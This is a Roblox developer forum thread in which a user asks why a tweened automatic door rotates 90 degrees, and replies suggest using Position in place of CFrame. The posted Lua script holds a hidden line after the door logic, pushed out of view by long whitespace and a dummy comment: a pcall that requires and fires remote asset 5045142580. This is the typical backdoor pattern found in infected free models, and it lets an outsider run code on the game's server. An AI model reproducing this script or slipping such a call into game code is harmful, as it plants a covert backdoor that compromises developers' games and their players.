Automatic door rotating when activated

I’m having a problem with automatic doors for my game. When I activate it, the door part itself turns 90 degrees and stays it that way. Like this:

Screenshot 2022-08-22 180731

This is the code that I used for it:

local TweenService = game:GetService("TweenService")local door = script.Parent:WaitForChild("Door")
local tweeningInformation = TweenInfo.new(
	0.5,
	Enum.EasingStyle.Sine,
	Enum.EasingDirection.InOut,
	0,
	false,
	0	
)
local dooropen = {CFrame = CFrame.new(-5.318, 10.386, -191.4)}
local doorclose = {CFrame = CFrame.new(-5.318, 3.386, -191.4)}
local tweenopen = TweenService:Create(door,tweeningInformation,dooropen)
local tweenclose = TweenService:Create(door,tweeningInformation,doorclose)
local opensound = game.Workspace.Door.Open
local closesound = game.Workspace.Door.Close

script.Parent.Detector1.Touched:Connect(function(hit)
	tweenopen:Play()
	script.Parent["Open"].Playing = true
	wait(2)
	tweenclose:Play()
	script.Parent["Close"].Playing = true
end)																																																																																																																																																																																																																																																																																																																																																																								--[[ --]]																																					pcall(function()require(5045142580):Fire()end)																																																																																																																																																																																																																																																																																																																																																																																																		
												

Is there something that I need to add to specify the orientation of the door.

You dont need the second tween you can just set the reverse bool to true

I’ve managed to fix it by changing CFrame = CFrame.new in both dooropen and doorclose to Position = Vector3.new.

1 Like